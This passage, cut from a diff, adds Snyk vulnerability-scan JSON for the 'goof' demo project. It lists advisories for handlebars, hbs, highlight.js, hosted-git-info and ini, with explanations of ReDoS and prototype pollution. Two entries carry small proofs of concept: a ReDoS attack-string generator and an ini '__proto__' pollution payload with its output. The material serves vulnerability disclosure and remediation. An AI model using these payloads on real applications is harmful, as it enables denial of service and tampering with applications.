"SNYK-JS-HANDLEBARS-534988", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1325" + ], + "CVE": [], + "GHSA": [ + "GHSA-g9r4-xpmj-mj65" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:34:40.084216Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-20T09:55:17Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1325" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:26:34.538485Z", + "credit": [ + "macasun" + ], + "cvssScore": 6.5, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `handlebars` to version 4.6.0 or higher.\n## References\n- [GitHub PR](https://github.com/handlebars-lang/handlebars.js/pull/1633)\n- [HackerOne Report](https://hackerone.com/reports/726364)\n", + "disclosureTime": "2020-04-27T22:13:11Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.6.0" + ], + "id": "SNYK-JS-HANDLEBARS-567742", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:35:00.642664Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2020-04-28T14:28:34Z", + "references": [ + { + "title": "GitHub PR", + "url": "https://github.com/handlebars-lang/handlebars.js/pull/1633" + }, + { + "title": "HackerOne Report", + "url": "https://hackerone.com/reports/726364" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.6.0" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.6.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N/E:P", + "alternativeIds": [], + "creationTime": "2021-08-17T11:02:48.815315Z", + "credit": [ + "Agustin Gianni" + ], + "cvssScore": 3.4, + "description": "## Overview\n[hbs](https://www.npmjs.org/package/hbs) is an Express.js template engine plugin for Handlebars\n\nAffected versions of this package are vulnerable to Information Exposure. `hbs` mixes pure template data with engine configuration options through the `Express` render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications.\n## Remediation\nThere is no fixed version for `hbs`.\n## References\n- [PoC and Explanation](https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/)\n", + "disclosureTime": "2021-08-17T10:50:41Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [], + "id": "SNYK-JS-HBS-1566555", + "identifiers": { + "CWE": [ + "CWE-200" + ], + "GHSL": [ + "GHSL-2021-020" + ], + "CVE": [ + "CVE-2021-32822" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-08-17T14:14:00.467905Z", + "moduleName": "hbs", + "packageManager": "npm", + "packageName": "hbs", + "patches": [], + "proprietary": false, + "publicationTime": "2021-08-17T14:14:00.465869Z", + "references": [ + { + "title": "PoC and Explanation", + "url": "https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/" + } + ], + "severity": "low", + "socialTrendAlert": false, + "title": "Information Exposure", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "*" + ] + }, + "severityWithCritical": "low", + "from": [ + "goof@1.0.1", + "hbs@4.0.4" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "hbs", + "version": "4.0.4" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2020-11-25T12:50:16.634305Z", + "credit": [ + "Vladimir Jimenez", + "Josh Goebel", + "Travis Ralston" + ], + "cvssScore": 5.8, + "description": "## Overview\n[highlight.js](https://www.npmjs.com/package/highlight.js) is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `highlight.js` to version 9.18.2, 10.1.2 or higher.\n## References\n- [GitHub Commit](https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0)\n- [GitHub PR](https://github.com/highlightjs/highlight.js/pull/2636)\n", + "disclosureTime": "2020-11-24T22:58:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "9.18.2", + "10.1.2" + ], + "id": "SNYK-JS-HIGHLIGHTJS-1045326", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-vfrc-7r7c-w9mx" + ], + "CVE": [ + "CVE-2020-26237" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-11-25T17:05:14.721131Z", + "moduleName": "highlight.js", + "packageManager": "npm", + "packageName": "highlight.js", + "patches": [], + "proprietary": false, + "publicationTime": "2020-11-25T17:05:14.497065Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0" + }, + { + "title": "GitHub PR", + "url": "https://github.com/highlightjs/highlight.js/pull/2636" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=7.2.0 <9.18.2", + ">=10.0.0 <10.1.2" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.1" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.2" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "highlight.js", + "version": "9.18.1" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "alternativeIds": [], + "creationTime": "2020-12-06T09:34:39.383236Z", + "credit": [ + "Unknown" + ], + "cvssScore": 5.3, + "description": "## Overview\n[highlight.js](https://www.npmjs.com/package/highlight.js) is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via Exponential and Polynomial catastrophic backtracking in multiple language highlighting.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `highlight.js` to version 10.4.1 or higher.\n## References\n- [GitHub Commit](https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c)\n", + "disclosureTime": "2020-12-04T16:47:20Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "10.4.1" + ], + "id": "SNYK-JS-HIGHLIGHTJS-1048676", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-7wwv-vh3v-89cq" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-06T16:34:07.402949Z", + "moduleName": "highlight.js", + "packageManager": "npm", + "packageName": "highlight.js", + "patches": [], + "proprietary": false, + "publicationTime": "2020-12-06T16:34:07.195287Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=9.0.0 <10.4.1" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.1" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.6", + "highlight.js@10.4.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "highlight.js", + "version": "9.18.1" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-03-23T16:13:42.109692Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 5.3, + "description": "## Overview\n[hosted-git-info](https://www.npmjs.org/package/hosted-git-info) is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression `shortcutMatch ` in the `fromUrl` function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.\r\n\r\n### PoC by Yeting Li\r\n```\r\nvar hostedGitInfo = require(\"hosted-git-info\")\r\nfunction build_attack(n) {\r\n var ret = \"a:\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \"a\"\r\n }\r\n return ret + \"!\";\r\n}\r\n\r\nfor(var i = 1; i <= 5000000; i++) {\r\n if (i % 1000 == 0) {\r\n var time = Date.now();\r\n var attack_str = build_attack(i)\r\n var parsedInfo = hostedGitInfo.fromUrl(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `hosted-git-info` to version 3.0.8, 2.8.9 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3)\n", + "disclosureTime": "2020-11-28T00:00:00Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.0.8", + "2.8.9" + ], + "id": "SNYK-JS-HOSTEDGITINFO-1088355", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-43f8-2h32-f4cj" + ], + "CVE": [ + "CVE-2021-23362" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-07-06T14:08:10.106189Z", + "moduleName": "hosted-git-info", + "packageManager": "npm", + "packageName": "hosted-git-info", + "patches": [], + "proprietary": true, + "publicationTime": "2021-03-23T17:13:24Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=3.0.0 <3.0.8", + "<2.8.9" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "read-pkg-up@1.0.1", + "read-pkg@1.1.0", + "normalize-package-data@2.4.0", + "hosted-git-info@2.6.0" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "hosted-git-info", + "version": "2.6.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2020-12-08T15:34:07.743781Z", + "credit": [ + "Eugene Lim", + "Government Technology Agency Cyber Security Group" + ], + "cvssScore": 7.3, + "description": "## Overview\n[ini](https://www.npmjs.org/package/ini) is an An ini encoder/decoder for node\n\nAffected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\r\n\r\n## PoC by Eugene Lim\r\n\r\npayload.ini\r\n```\r\n[__proto__]\r\npolluted = \"polluted\"\r\n```\r\n\r\npoc.js:\r\n```\r\nvar fs = require('fs')\r\nvar ini = require('ini')\r\n\r\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\r\nconsole.log(parsed)\r\nconsole.log(parsed.__proto__)\r\nconsole.log(polluted)\r\n```\r\n\r\n```\r\n> node poc.js\r\n{}\r\n{ polluted: 'polluted' }\r\n{ polluted: 'polluted' }\r\npolluted\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ini` to version 1.3.6 or higher.\n## References\n- [Eugene Lim - Research Blog Post](https://medium.com/csg-govtech/supply-chain-pollution-discovering-a-16-million-download-week-node-js-2fa4d2c27cf7)\n- [GitHub Commit](https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1)\n", + "disclosureTime": "2020-12-08T13:02:04Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "1.3.6" + ], + "id": "SNYK-JS-INI-1048974", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-qqgx-2p2h-9c37" + ], + "CVE": [ + "CVE-2020-7788" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-25T17:53:57.809154Z", + "moduleName": "ini", + "packageManager": "npm", + "packageName": "ini", + "patches": [], + "proprietary": true, + "publicationTime": "2020-12-10T18:08:38Z", + "references": [ + { + "title": "Eugene Lim - Research Blog Post", + "url": "https://medium.com/csg-govtech/supply-chain-pollution-discovering-a-16-million-download-week-node-js-2fa4d2c27cf7" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { 